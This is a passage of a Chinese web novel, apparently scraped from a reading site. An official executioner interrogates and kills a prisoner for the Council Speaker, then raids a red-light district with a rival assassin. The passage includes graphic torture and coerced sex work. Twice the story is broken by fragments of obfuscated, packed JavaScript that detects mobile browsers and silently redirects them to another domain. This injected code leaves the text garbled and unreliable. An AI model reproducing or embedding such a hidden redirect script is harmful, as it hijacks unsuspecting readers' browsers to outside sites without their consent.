“你怎么说话的?子琛也是为了这个家好——”另一名奢华打扮的老人开口,被目光一扫,讪讪闭嘴了。 “但这种照片传出去,以后薛家人的脸往哪放啊。”有人小声道。 “是啊是啊,我今天去沙龙,别人都在背后笑我。说家里出了一个……” “注意言辞。”贵妇人瞪过去。 “呵!说家里出了一个花花公子就算了,大家都是A级公民,会玩点不要紧。但可惜,谁叫薛子琛被脱光了绑成那样,一看就是被玩的那一个——” 声音又响又亮,提高八度,撞到墙上都能碎成几块。 薛柏寒站直身。 房间里的薛家人都默默一凛,齐齐噤声了。 薛家地位能水涨船高,全靠的是薛柏寒,他说的话,就算再不愿意,所有人都得听。 议会长相当于联邦的最高指挥官,薛柏寒气势自然逼人。 他撩了撩眼皮:“叫林又茉来一趟。” ** 林又茉起来洗澡完,换衣服时,季相兰醒了。 季相兰托扶着额头,朦胧看她,他衣衫散乱,胸前暴露在空气中一点红艳艳一片,肿得糜烂。感受到身体上的疼痛,季相兰不用看都知道成了什么样,他拢衣起来,幽幽叹息:“就知道还是小混蛋。” 今天还要出席活动,得贴个贴才行。不然被粉丝拿着放大镜发现大明星前两晚上给人喂奶,不知道舆论成什么样。 季相兰倒是不在意,但不能惹金主代言方不高兴。 “你在想什么。”察觉到季相兰走神,林又茉难得开口问。 季相兰叹气:“给小混蛋赚奶粉钱。” “……?” 落地镜前,林又茉停下动作。季相兰的卧室有一面不规则形、足足有半面墙宽的镜子,将室内映得一览无余。 季相兰比她高一个头,将下巴抵在林又茉头顶,从背后把她拢进怀里,怜爱又疼爱:“起这么早,想吃点什么?” 林又茉发烧,在他家呆了两夜,季相兰自然是欢迎,他无微不至地照顾,寸步不离,就快把自己融进她身体里,可惜林又茉是林又茉,床上不近人情得可怕,只有床下才任他捏圆搓扁,乖得可爱。 林又茉前一晚退烧,就折腾了他直到半夜,两晚没怎么睡的季相兰最后不得不真的柔声硬声齐使劲,颇有点恨得牙痒痒。 好歹再叫他一声哥哥呢? 那个乖巧黏人的林又茉被夺舍了? 但,现在。镜子里的乖巧小女孩又跟他对视了。 林又茉抬起眼:“我今天要去议会。” 林又茉的声音很慢,平静,她声音也乖乖的,语调像告诉父母要去上学一样的小女孩。 “议会?” “议会长的通知。” 季相兰怔了下,双手绕过去对着镜面替她整理她的领结,他弯了弯唇,“好啊,给我带点纪念品,随便带几根人的手指。……开玩笑的,不是真的带。” 听到这句,林又茉的睫毛才微微眨了一下,她说:“哦。” 林又茉真的会给他带手指。 季相兰拍戏拍得多,假道具见过不少,混这个糜烂的娱乐圈子,真的也大差不差见过几次,林又茉上次从袋子里掏出一枚打包好的真眼球时,饶是什么都见过点的大明星还是定住了。 当时季相兰盯着那枚眼球,缓慢地眨了下眼,无奈弯唇:“我说想看他的眼睛有多有神不是这么看……但也不错。” 有的死人丢失了一只眼睛,但他收获了爱情。 季相兰觉得林又茉像一只漂亮猫猫,会按照自己理解给他带小礼物呢。 多可爱呀。 “不过如果是薛柏寒的眼睛,还是给我带一只吧。”季相兰轻描淡写,弯起唇,扯了下丝带,替她打好了领结。 镜子里,他撩起眼,和林又茉的视线对视上。 薛柏寒是议会长,也是林又茉的顶头长官。 换句话说,是联邦里唯一权限比她高的人。 季相兰不懂政治,但……没有人不讨厌指手画脚,还随时叫人出勤的上司。 ** “欢迎大家来到议会宫!” “这里是联邦的政治中心,联邦议会长平日工作、各级官员对议会长进行汇报的地方,同时,跨过窗后这里的花园,这里也是议会长平日里居住的府邸,看,就是那栋富丽堂皇的白色建筑,是议会长的家。” “议会长享有联邦最高的官职,对所有的联邦官员具有质询权、罢免权、问责权、任命权,没错没错,议会长就是联邦里最大的官啦。” “但他的这些权力只对一个人除外——这个人是谁,有没有小朋友知道?” 议会宫对外开放区域,一群五六岁大、父母皆是A级公民和B级公民、经过严格背景筛查,确保他们是绝对优秀公民后代的小孩子们呼啦啦在走廊里挤成一团,眼睛圆圆地瞪大:“?” 他们集体穿着的黄色小衣服,戴着小黄帽,像一大团法式蛋糕。 “我我我!”可爱的小孩也有表现欲,法式小蛋糕们开始弹跳,“选我选我!” “老师我知道!” “我知道!” “我先举手的!” “我姑姑是执安局长,把你抓起来!” “我爷爷是税务署署长,没收你家的钱!” “我奶奶……” 几个富二十代们打起来,角落里一个扎羊角辫的小女孩慢吞吞舔着一个棒棒糖,有些迟钝,对小鸟争宠毫不感兴趣。 一道黑发少女的身影慢慢停下在她旁边,走廊前方拥堵,她不喜欢人多,站住,安静等待。 “是执刑官!” “答对啦,老师奖励你一颗深海产出蔚蓝IIa级4.7克拉钻石!” “好耶呜呼!” 小女孩慢慢舔了下棒棒糖:嘶溜。 林又茉看她一眼。 “就像我们刚刚获得上将军衔的布莱登将军家的三少爷小布莱登说的一样,没错,唯一一个议会长无法罢免的人就是执刑官。” “执刑官是独立于议会外的存在,家族世袭代代继承,不由议会长任命,也不对议会长负责。她拥有最高执法权,在议会长犯法的情况下,甚至可以依照法律对议会长进行处罚。” “也就是说,虽然执刑官在职级上听从议会长的命令,但这仅仅基于议会长不犯法的原则上。” 小女孩又慢慢舔了一下棒棒糖:嘶溜。 林又茉转过来看她。 “可以说,执刑官,是联邦司法制度的一把刀,所以,也被人叫做‘刽子手’。” “但你们要小心哦,如果你们一旦犯法,刽子手可是会半夜爬到你们家来把你们的头切掉的哦!” “呜呜呜啊啊啊!”小萝卜头们吓哭一片。 “我不要掉头!”“我喜欢我的头!”“切小布莱登的头!”“干嘛切我的头!” 一片闹哄哄之中,小女孩仍然慢慢舔棒棒糖。终于,身边的黑发少女跟她搭话了。 “你好。”少女的声音很淡,弯下腰来,歪过头,“你在吃什么?” “唔唔……棒棒糖。” “可以给我看一眼吗?” 小女孩把嘴巴里的棒棒糖叭地拔出来。 “刽子手好可怕呜呜呜!母亲经常讲她的故事,我分不清蓝宝石和玻璃的区别刽子手就会把我抓走!” “我父亲也是,如果我不能学会一天花掉五十万,刽子手就会把我的手割掉!” 林又茉专心地看了看棒棒糖。 小女孩期待看她:“温柔的姐姐,你也喜欢吗?” 林又茉点头,把糖装进袋子里:“喜欢。” “那你……” “我没收了。 “?!” 小女孩在走廊里嚎啕大哭。 林又茉停下在被拦住的围栏前。 守卫从号啕大哭的小孩身上收回视线,猛咽口水:“执……执刑官大人。” 执刑官就这么欺负小孩吗? 林又茉:“我想找薛柏寒。” 守卫:“您的话,不需要排队跟着平民们走平民入口的。这边有专门的电梯,直达议会长的府邸。” 林又茉露出了有些困惑的表情,但她还是礼貌道:“谢谢。” 在她走后,守卫们悄悄嘀咕。 “等一下……她是不是从没来过议会宫?连专门入口都不知道?” “不会吧,薛议会长加冕礼她也没来?” “没来。” “那前一任议会长的呢?” “也没来。” “?!这么狂?那年初、年中、年底述职呢?新年晚宴呢?各类晚宴呢?议会长办的,不能不来吧?” “……” “你觉得呢?” “我多余问。” 几人絮叨之际,见林又茉忽然去而复返,守卫们立刻站得笔直。 “帮我一个忙。”林又茉说。 她拎起了手里的袋子,轻微停顿,眼睫垂下,“这个,帮我买一份。” ** 哗。 厚重科技感的大门打开,林又茉接受了对她没有用的安全检查:检查机器自动报错,【权限干扰】——一个机器对于权限更高级别的人的无力呻.吟。 于是林又茉出示了执刑官的证件,全程配合安静,吓得安保人员大气不敢出。 林又茉到达薛柏寒办公室时,薛柏寒正站在房间一侧与人谈话。她到的很准时。 房间里有四个人。 薛柏寒,薛柏寒交谈的人,薛柏寒的秘书,以及她。 与薛柏寒交谈的人是财政署局长,见林又茉进来就止住了话头,但薛柏寒仍然哈哈大笑,没有停下谈话的意思,财政局长只好陪聊,但绷紧的下颚,紧绷的肩膀,防御性的扶手,都显出了局长的不安和拘谨。 林又茉像个安静的摆件,站在那,一言不发。 直到二十多分钟后,薛柏寒才大手一挥,将大腹便便的财政局长放归山林。 财政局长飞一般逃出办公室,屁股后像有火在烧。 “执刑官。”薛柏寒视线终于落到林又茉头上。 “议会长。”林又茉点头。 “等久了?” “还好。” “是么。” “都是工作时间,工作内容。”所以做什么对林又茉都一样,林又茉想起他的口癖,“长官。” 薛柏寒愣了下,在身后秘书惶恐的目光中,露出耐人寻味的表情。 熟悉议会长的人都知道,让他感兴趣的人或物一般都不会有什么好下场。 “议会长,”秘书低声提醒,“现在您的日程是去……您看您是不是先处理——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710235|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不用。” “林又茉在这。” 薛柏寒将平板递还给秘书,盯着林又茉道,“这件事还有比交给‘刽子手’更好的选择么?” ** 林又茉没想到薛柏寒让她来的地方是囚室。 高高在上的议会宫,地下室竟然是监狱,关押的是议会长最心系的敌人。 每间牢室密不透风,不开灯就漆黑一片,林又茉走进去盯着那些豪无缝隙的墙壁,想起当初那个死在这里的神官。 一群穿着深色制服、面色倨傲的人出去,林又茉认出是监狱审讯那群人,他们跟她一向不太对付。他们认为她被民众神化,权力过大,削弱了联邦政府职能机构的权威。 林又茉觉得他们工作久了学会了狗叫。 林又茉走进囚室。 一个看不清面容满脸血痕的男人垂头坐在那,表情狰狞,华丽的衣服、配饰肮脏污浊,见到有人进来发狂大笑,笑得脸上伤痕裂开,血液哗啦啦往下流。 “你们这群——杂种!我绝不会告诉你们一个字,绝不!” “无论你们怎么对我用刑,我都不会说!你们绝不配从我这得到一个字的答案!你们以为身体上的刑罚就对我有用吗?笑话,天大的笑话!我绝不会为这点小伤就屈服!你们都是白用功!” 林又茉停在血泊边缘前。 “罪名?” “通敌、卖国、非法贩卖军饷。” 薛柏寒漫不经心,“哦对,还有十年前闯过一次红灯。” “……” 肮脏男人停顿几秒,嘶吼尖叫,“薛柏寒,你这个杂种——杂种!你竟然敢以权谋私,你竟然敢这么对我?!” 林又茉看了看男人的脸,认出他是薛柏寒以前的政敌。 政治游戏残酷,成王败寇,很显然,在薛柏寒当选议会长之后,这些曾经的劲敌都会被他慢慢清算。 薛柏寒笑了:“不能违反交通规则,你不知道么?” “你——” 但肮脏男人很快闭嘴,因为林又茉向前了一步。 牢实内幽幽的侧灯将林又茉的脸照亮一片,阴影中,她纯洁天真,似鬼似魅。 肮脏男人狠狠用力闭嘴。 显然知道她是谁。 林又茉垂眼慢慢将平板上的证据看完,跟上司理论:“这不是我的工作范围。” 法律有司法署和治安署判罚执行,不需要她。 薛柏寒:“但只有你能做到。” 林又茉抬眼看他。 “那些监察的人毫无结果。” 薛柏寒似笑非笑,“如果鼎鼎大名的刽子手亲自来也没用,问不出军武贩卖的对象,那我得怀疑这个职位是不是还有设置的必要了。” “你说是不是,执刑官?” 林又茉停顿两秒:“好的,长官。” 她戴上了手套。 椅子上的肮脏男人剧烈挣扎起来。 黑发少女戴上手套的姿势娴熟、缓慢、优雅,几乎让人看了会入迷,但对林又茉,这只是准备工作的普通一步。 刚要动作,少女又停下来。 “您要留下来看么,长官?” 秘书两股战战,往门边蹭。 薛柏寒已经靠到阴影里,高大身影神情不清。 “当然了。”传来他慢条斯理的声音,“这是我的荣幸。” “好。” 林又茉没有在意,向前一步,“那我开始。” 薛柏寒看她的目光缓缓定住。 林又茉工作时心无旁骛,对周遭一切漠视漠然,并不在乎,宛如指挥家面对她的乐谱。 她低下头。 …… …… …… 牢室内空气浓重、厚重、带着剧烈的血腥气。 看守的护卫吐了一批,换了一批,随着声响传来,秘书已经肠胃翻腾,一张膏药一样贴在铁门上,想将自己从门缝挤出去,不断说服自己看到的都不存在。 人人都说刽子手残忍,可她竟然看起来温柔。这难道才是她恐怖的地方? 在某一瞬间,恍惚的瞬间,秘书竟然觉得躺在她手下或许是一件幸福的事情。 因为她的神情太恬淡了,那样漂亮的一张脸,这样持久的注视,也许在某一种情境下或许就是幸福呢? 不知道过了多久,或者几个小时,几刻钟,或者只是短短的几分钟,秘书终于从恍惚中回神回来,林又茉已经在收尾。 她的手很轻,很稳,戴着手套按在那个人的眼下,将那颗眼神无神的头颅抬起来。 她的动作很温柔,甚至像在对待情人。 “武器交易的对象问到了。”她说。 “你做得很好。” 薛柏寒说,“对了,有件事我忘记说了。” 林又茉看他。 “他一直以来的性幻想对象是温臻。” 嚓一下,一把直刀扎入了囚犯的面颊! 动作太快,像是即时反应,所有人都没反应过来,血唰地溅出来,飙到她脸上,宛如鬼魅。 那把刀直接穿透了那个人的脑袋。 林又茉垂着眼,手握着刀柄,慢慢拔出来:“失误了。” 比起之前的温柔,刚刚那一刹的凌厉反差鲜明过大,让人仿佛勘到了恶鬼面具下的一角。囚犯面容扭曲,痛苦痉挛,在尖锐的一声抽气后结束了呼吸。 囚室内无比安静。 薛柏寒呼吸急促,他为自己看到的那一幕兴奋、血液加快,嘴角的笑容扩大,他看到了破绽,破绽——刽子手的破绽—— 林又茉那双黑眼睛转过来看他。 薛柏寒笑起来,几乎怜悯:“原来是这样。” “原来你的弱点是……温臻。” 6.第 6 章 “原来传闻是真的。”薛柏寒道。 不近人情的刽子手,唯一在意的是幼年短暂抚养过她的人。温臻真的养育过她——这个答案不可思议又合理地令人意外。 可是什么时候?温臻足不出户,他们是怎么联系上的? 但或许林又茉只是一个狂热的信徒?薛柏寒也不否认这种可能性,但他要的答案已经得到了。 俄狄浦斯情结*……真是可惜。 守卫一下把林又茉团团围住。 狭小的囚室内,放着一个刚开了颅的死人,以及这个联邦的议会长和执刑官。如果这不算重大安全危机,不知道什么该算是了。 “执刑官……您冷静!”秘书叫道,“不要冲动!” 林又茉没有表情。 她明明什么都没做。 她把手里的刀抬起来——还挂着脑浆——守卫们脊背一凛。 林又茉把刀放到一边——守卫们神情一松,微微放松,但没有完全松懈。 听说刽子手没有武器也可以徒手杀人,谁敢掉以轻心? 而林又茉只是问:“人死了,需要怎么处理?” 在被所有枪口指向时,林又茉显得很安静。少女的脸被顶光照亮一片,光线中,她的瞳孔瞳仁没有丝毫变化。 像这些话语对她没有任何意义。 她说:“囚犯死了。如果需要,我可以处理后续。” 薛柏寒问:“怎么处理?” 林又茉:“找到那些名字后面的主谋。” 这本来就是她的工作内容之一。她是法律具像化的武器,宰割那些罪人。私下贩卖军火是死罪。 她明明站在世俗正义的一方。 发现问题——解决问题,这是林又茉的逻辑方式,简单但有用。 世界上90%的事可以用这个公式解决。剩下10%如果解决不了,那么林又茉还有开枪的权力。 林又茉摊开双手:“您希望我怎么做。长官?” 她歪了下头:“您是希望我继续工作,还是您想为您侄子的丑闻,向我报仇?” 囚室内陷入诡异的沉默。 刽子手两手空空,但没人觉得这是种和平的象征,尤其在大多数人亲眼目睹了这牢房里的一切之后。 侄子的丑闻——没错,林又茉在来之前,就知道这该是一个下马威。她把薛子琛绑成生日气球,可惜没有人理解她的幽默。薛柏寒也许不在乎他侄子是不是被玩死,但议会长的脸面是另一回事。 林又茉是横在他心上的那根刺。 囚室里诡异的沉默加剧。 守卫和秘书的呼吸声加重。没有人愿意看到任何一方受到伤害的场面,但他们毫无疑问站在议会长这一方。 议会长代表联邦,而执刑官她只是……一个人…… “砰!”一声剧烈的枪响! 一道子弹嗖地划破空气,命中额头! 守卫们如临大敌,场面骤然一片混乱。 林又茉纹丝不动。 她慢慢扭头看去,刚刚被开颅的囚犯头上赫然又多出了一个新鲜冒烟的弹孔,堪堪掩盖住原本的刀伤,盖住了她的失误。 被射击的是囚犯。 薛柏寒慢条斯理地摘下手套,将枪递还给守卫。 议会长亲自开的枪,颠倒事实,一切盖棺定论。 没有人会发现她的失误。 高大伟岸的男人灰色眼瞳淡漠,离开时声音平静:“你找到主谋。一笔勾销。” “——带上‘红刀’。” 在林又茉走出囚室时,这句话把她定在了原地。 ** “红刀”,是一个人的代号。 他像林又茉的翻转面。 如果说“刽子手”林又茉大名鼎鼎,不苟言笑,那么“红刀”更像一个阴影里的影子,只在圈子内闻名,笑面虎。 杀人时笑嘻嘻——林又茉不明白为什么那些人不叫他愉悦犯,而把这个名头安在她头上。 明明她从来不笑。 “红刀”直接隶属议会,替大人物们处决敌人,执行任务,但可惜同样受法律保护,林又茉与他几乎没有交集。 ……但“红刀”并不这么想。 就譬如,之前审讯失败的那些深色制服,就是“红刀”的手下。林又茉半小时内完成了他们搞不定的事,自然引来敌意。更不用说过去无数任务,只要能用林又茉的,几乎都会选她。 换言之,红刀单方面把林又茉当竞争对手死对头,争锋相对、恨意滔天、不死不休。 而林又茉觉得红刀是个不太好相处的同事。 没有人喜欢跟这样的同事出外勤。 “嗖——” 一声破风声。 街口风很大。 今夜刚下过雨,狂风卷席,都城的夜晚霓虹色彩。高楼大厦和呼啸而过的空中列车和无人机映在地面的雨洼里。 夸张的电子荧幕切换着海报与广告,妩媚的人影与暧昧的广告词让人着迷,性感暴露的画面令无数人驻足。在这个时代,购买可以买来一切:虚假的爱情、短暂的欢愉、深情的爱人。 “唰”一声,广告换成季相兰,美丽的金发男人一副人夫打扮,在浴室里弯眼温柔地对着镜头笑,引起行人一片口哨, “亲爱的,我在浴室里等你——” 嚓。林又茉抬手接住扔来的小刀。 她转过脸,看向走来的男人。 男人——与其说是男人,不如说是少年,“红刀”不愧是她的翻版。 红刀从雨里走来,黑发凌乱,身型在少年和青年之间,红色的衬衫背着把黑色的刀,脖子上绑着个黑色颈环,看到她就笑,露出两颗虎牙。 红刀一双桃花眼笑眯眯:“好久不见呀执刑官。我好想你,你想不想我?” 林又茉手里还握着他刚刚扔来的小刀。 不得不说,边界感不强。 林又茉:“许久不见。” 红刀绕着她走了一圈,量她的身高:“你好像还是小矮子,还是没长高,是不是已经过了发育年龄了执刑官?” 林又茉:“你也不赖。” 红刀歪头:“嗯?” 林又茉:“胸围没变。” 红刀气乐了:“你说我胸小?” 少年阴恻恻地低头盯她,牙痒痒。 “嗯。”林又茉点头,平静得让红刀有一瞬怀疑自己。 “走吗?” “走。” 两人向着面前的建筑群迈去。 在鳞次栉比的大厦之间,面前的这块区域显得格格不入,古代建筑低矮,古旧,亮着漂亮的灯笼,亭台楼阁像某个不知名时代的特色风格,令人眼花缭乱的霓虹灯在灯笼下闪烁,穿着各异的招待带着恰到好处的微笑。 红灯区。 销金窟,温柔乡。 红刀打了个响指。 “你来过?” “当然。”红刀大大咧咧地说。 少年胳膊枕在脑后,伸了个懒腰,红刀长了张妖媚的脸,跟这个地方相得益彰。 “红灯区嘛,来着来着就来习惯了。执刑官,你不会从来没来过吧?这可是都城的著名打卡景点之一。” “没有。” “我忘了,你还没成年多久。”红刀故作惋惜道,比了比她脑袋的位置,刚好到他胸口。小萝卜丁。 “可能进门你还要被查证件。毕竟有些人看起来就像个未成年,回去说不定还要哭哭啼啼做作业。” 林又茉:“这次行动不能打草惊蛇。” “好了好了知道了。”红刀耸耸肩,为她没有幽默感而遗憾,“我就是开一个玩笑。东西都准备好了,喏。议会出品,保真。” 红刀手指一翻,夹出一枚假.证件,精细如新。 林又茉收好证件。 刽子手名气太大,林又茉出现在哪里都引起人群轰动,所以这次不能她出面。 林又茉准备好假发换装要往头上戴,被红刀拦下。 “不用这么麻烦。”他说,转手从不知道哪儿扯出来一个面具,扣在了林又茉脸上。 面具像画出来的,五官简笔画,像艺术表演用的。 戴上面具的林又茉虽然看不到脸,但身型、制服、以及装束,都不难看出是她本人。 林又茉:“……” 红刀悠悠笑,意味深长:“等进去你就知道了。” ** 红灯区常看常新。内容日新月异,分区却是一早划分好的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722394|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红刀带着林又茉穿梭在里面闲庭信步,悠闲地像在自家后院散步,橘黄灯笼下楼梯上时不时还有人屈膝跟他打招呼,叫红刀的名字,红刀笑眯眯一概全收。 红灯区由联邦监管,收取税收,但实际控制权并不在联邦手上。 A级公民在联邦凤毛麟角,权利滔天,关系错综复杂,究竟是哪个人实际在掌权,过了几百年的变化,已经没人知道背后的老板是谁。 联邦议会长是选举换届制,不过几十年的任期,没人会为了几十年跟一个深不可测的庞然大物较劲,于是每一任议会长都睁一只眼闭一只眼,几乎放任自流。 但囚室里死去的囚犯,给出的名字就是红灯区明面上的主管,李七。 “可惜他们做什么不好,非要搞军火呢。”红刀说,“这是议会忍不了的事情。这么来钱的生意,可惜了。” 红灯区雅俗共赏,有高雅的只可远观不可亵玩,就有暴烈粗俗的那一面。 红刀带着林又茉走进亭台楼阁深处,本来典雅的橘红色灯笼被更艳丽的红色替代,走进一间只有墙的大厅,无数的人影攒动,各种响声齐聚。 林又茉停下脚步。 墙上洞里的都是E级公民。他们卖力干活,脸上露出讨好迷醉的表情,脖子后方显示着一行清晰的字体: 【E级公民,信用点:-xxx】 每当有一位客人结束,按下好评的按钮,相应E级公民脖子后的信用点就会跳动+1。 因为这样的激励,E级们感激涕零,工作得更加卖力。 林又茉那天看到被警察枪击坠地的黄毛也在其中,一头黄毛已经被喷洒地看不出颜色。 “只要信用点挣到正数,他们就可以脱离E级公民的行列,成为D级了。不然只能一辈子在这当公用烂泥。” 红刀语出惊人:“这样增加信用点的方式也太容易了,如果B级到A级也这么简单,我也愿意在这里天天接客,直到升级。” 少年妖媚的脸上,眉宇间尽是可惜。 察觉到林又茉的视线,红刀乜她,语调轻飘飘:“我不行么?” 红刀有一双桃花眼,睨人时艳意横生,唇色红艳,是很适合干一切事情的唇形。 少年脖颈后方,隐隐约约浮现一行字:【B级公民,信用点:2812】。 他意外地会受欢迎。 林又茉:“那你要接688次。” 红刀“喔”了声,弯下腰来问:“那执刑官你会来光顾我么?我会好好招待你。” 林又茉:“那还剩687次。” 红刀:“我会算数!”他再一次为林又茉没有幽默感恨得牙痒痒。 林又茉:“不知道呢。” 红刀:“!!” 红刀忍住要揉乱林又茉头发的冲动,哼了句“小丫头”跟在林又茉身后迈腿走出去。 越往里,色彩越浓烈,分区越复杂,监管力度越小,无数不该出现的内容都在出现。 譬如……宗教。神官仿制品是高级违禁品,所以没有人会明目张胆打着神官的名号揽客,但白袍金发的男男女女,建造成神殿一般的建筑风格,让人有种吃代餐身临其境的错觉。 有一个人长得像温臻,绿眼睛像温柔的湖。 林又茉只看了一眼就移开了视线。 倒是红刀盯着神殿构造啧啧称奇,看了好几秒才移步离开。 走到最深处一处楼宇,林又茉停下脚步。 这是一栋特殊的建筑。整栋楼只卖一样东西。 林又茉慢慢抬起头,面具正应对着大门。 她明白为什么她仅仅戴上面具,却不会被发现的缘由了。 在正门的大门口,竖立着亮着幽光的展示柜,里面泡着一具跟她相同打扮,一比一大小的……人偶。 哗,大门打开,几名跟她一样黑发制服模样的人在楼里行走,脸上戴着不同的面具,这些人拿刀,拿鞭,拿绳,各自牵着痴迷模样的客人,那些人以被虐待为乐,时不时发出古怪的惨叫。 林又茉甚至看到了几名民间反对她最厉害的公众人物。爬在地上,像狗,叫着她的名字。 红刀走到她身边,发出愉悦的笑声:“执刑官大人……你其实,超级受欢迎呢。” 7.第 7 章 “无趣。” 林又茉只看了两眼,就给出了评价。 她移开视线离开,丝毫没有任何留念。 “执刑官,你不好奇?”红刀的声音响起。 “好奇什么?” “那些人的……” 红刀本来想说那些人的古怪性癖,或者是怪异的心路历程,又或是那些见不得人的肮脏念头,但话到嘴边又觉得没意思……很讨厌,他被执刑官的没幽默感传染了。红刀耸耸肩,还是咽下了。 他只是说:“还有一个大型盲盒投币机呢,运气好能抽出跟你相似的等身人偶。” “噢,是吗。” “执刑官,难怪你每次都是一个人活动呢。就你这张嘴,是个活人都能闷死。” 林又茉对红刀幽幽的抱怨不置可否,她并不喜欢说那么多的话,就像大多数时候她也并不在听别人说话一样。 红刀从记忆里搜索地图:“李七办公室的平面位置就在这里,但他的办公室在顶层,楼里安保非常严密。我们得想办法绕开保镖,利用视线盲区找到潜入的路径。一旦被发现,后果会很不好看,我们唯一的优势是红灯区没有监控……”他话还没说完,看见林又茉随手用灯柱砸碎了走廊尽头的窗户玻璃。 哗啦啦,玻璃碎片落了一地。 红刀扬起眉毛,惊愕地看着少女单手翻出去,撑着窗棂,她的身后细雨绵绵,远处都城的霓虹灯和近处的橘红色灯笼交映成一片,有一种独特的赛博未来感。 呼啸的风吹起了她的黑发,白色面具染上了一层夜色。 “你恐高吗?”她说。 ** 一路向上跳跃,上到最顶层的房间,林又茉才停下来。阳台上站着两个彪形大汉,林又茉打晕一个,红刀趁另外一人没反应过来也放倒一个。 “如果有机会,我们说不定是很好的搭档呢。” 林又茉瞥了眼,没说话,她径直推开门,走进房间。 两声消音后的枪响,来自里面人的反击。红刀倏地偏过身,躲闪掉子弹的轨迹。 “……真是不管我死活。”他叹气,但动作也没闲着,红刀走进屋内,花了两秒夺掉开枪人手中的枪,“嘭”,第三声枪响,对面眉心开了一个洞。 林又茉瞥来视线。 红刀低头看向倒在地上死不瞑目的兔爷。刚刚就是这个看似柔弱的人向他们开的枪。 “他看到我的脸了。”红刀若有所思。 他摊摊手,表示非杀不可。 “别杀我,别杀我,别杀我,我什么都会干……” 颤声从房间另一头传来,肥胖的中年男人躲在椅子背后,整个身子抖如筛糠。 红刀“噢”了声:“那他也看到我的脸了。” 黑洞洞的枪口对准李七,李七吓得六神无主,连连尖叫。 林又茉:“红刀。” 红刀哈哈大笑。 “干嘛点破我……我就想吓吓他。”他无不惋惜地抬了抬手枪,走到一边随手翻起了桌上的文件。 林又茉拿出那枚透明柱体状的芯片,找到服务器,插.入进去。 随着数据传输,柱体亮起淡淡的金色。 房间里弥漫着淫.靡的气味,像大量的事后。 林又茉对这个红灯区明面上的主管的私人生活并不感兴趣,她垂眼注视那枚芯片,准备在传输完毕后就立即离开。 房间另一头,红七正在折磨可怜的受害者。 “我砍断你一根手指,你告诉我一个秘密好不好?” “不、不……求求您了,求求不要杀我……”李七声音带着哭腔。 “一根手指一个秘密,很划算对不对?毕竟只是手指,不是什么重要的东西。” “不不不!……求您了!……” “好吧,那我大人有大量,我不砍你的手指,我问一个问题你答一个问题,但你有任何犹豫我就砍断你一根手指怎么样?” 被pua的受害者立刻上钩:“好、好,您说什么就是什么……” 红刀满意地点点头。 “第一个问题,这本账簿上的数字是什么意思?” 李七卡住了:“呃……” “嚓”的一声,手起刀落,李七发出尖锐惨叫,声音过于刺耳。 “我要实话。” “实话、实话……” “嗯?看看我在这本文件上发现了什么?倒卖.军火?” 红刀是真的惊讶了,“你还是真的有勇气,就算在这么仁慈的联邦法律下倒卖.军火也是一顶一的死刑……” 背景音过于嘈杂,林又茉眉间略过一丝不悦。 她的洁癖在发作。 李七仿佛找到救星一般,找到机会,向她这里跑来求救,似乎是因为之前她没动手,让他误以为她是个心软的人。 “求求你!妹妹……小妹妹,我有很多钱,你救救我!我可以让你富可敌国!求求你!不要让他杀我!” “我还有游艇、星舰,地皮、奴隶……” “我还有孩子,二十三个孩子!没了我他们会家破人亡!你可怜可怜我!” 红刀看好戏一般,看着他即将把手贴上林又茉的小腿。 林又茉垂下眼,空洞的面具淡漠:“我要你的二十三个孩子做什么?” 李七脑袋一愣:“不是,我的意思……” 红刀发出尖声大笑,几乎笑断气。 “天啊,天啊,执刑官!我以为你没有幽默感,真是我的失策,没想到真正的好戏在这里……” 聒噪的同事。 跟夏天的蝉鸣一样。林又茉不关心他为什么笑。 就在这时,轻微的“嘀”一声,芯片亮起全金色,又恢复透明。 传输完成。 林又茉直接扯下芯片,转身准备离开:“走了。” “好,你先走,我殿后。”红刀转转手里的手枪。 林又茉瞥了他一眼,毫不留念地走向阳台,翻身下滑。 风声呼啸,一路下滑,快到底时,突然,头顶“轰隆”一声,大楼顶层爆炸的烟火明亮炸开。 爆炸像巨大的烟花,这一响声震耳欲聋,几乎就在同一时刻,林又茉听到红灯区无人机发出尖锐警示的翁鸣。 几乎所有大楼顶部的探照灯都被打开,大片直线式的红色监测灯光袭来,在楼层高处扫描。 红灯区的警力并不直属联邦,属于私人管控,换言之,都是敌人。 林又茉短暂停顿。 下一刻,一道矫捷的身影从上一跃,几个攀爬跳跃,出现在她身侧,是半张脸脏黑的红刀。 他衣衫散乱,黑发凌乱,明显受到了爆炸的波及,手臂一节血肉模糊,林又茉闻到风里带来的浓重血腥味。 他受了重伤。 “你的任务是拿到芯片。而我的任务是清场杀掉所有人。” 红刀冷静道,“现在我知道去哪安全,跟我来。” 红刀难得没有笑容,林又茉花了不到半秒作出答复:“好。” 两人投身进红灯区的街巷中。 这个区域很大,鱼龙混杂,不光有光鲜亮丽的亭台楼阁、上层公民的销金窟,更多的是无家可归的E级公民,肮脏的街巷,低矮的民居,街上排放着污水,恶臭的腥臊味从各处传来。头顶无人机的扫描警报声呼啸,许多处没有灯,两人完全在黑暗中行进。 红刀穿梭得飞快,走的路径熟门熟路,林又茉跟在他身后,内心在想红刀说的没错,他的确对这个地方了如指掌。 这些经验该不是来自花街的享乐。 两人终于停在一处逼仄的屋子。 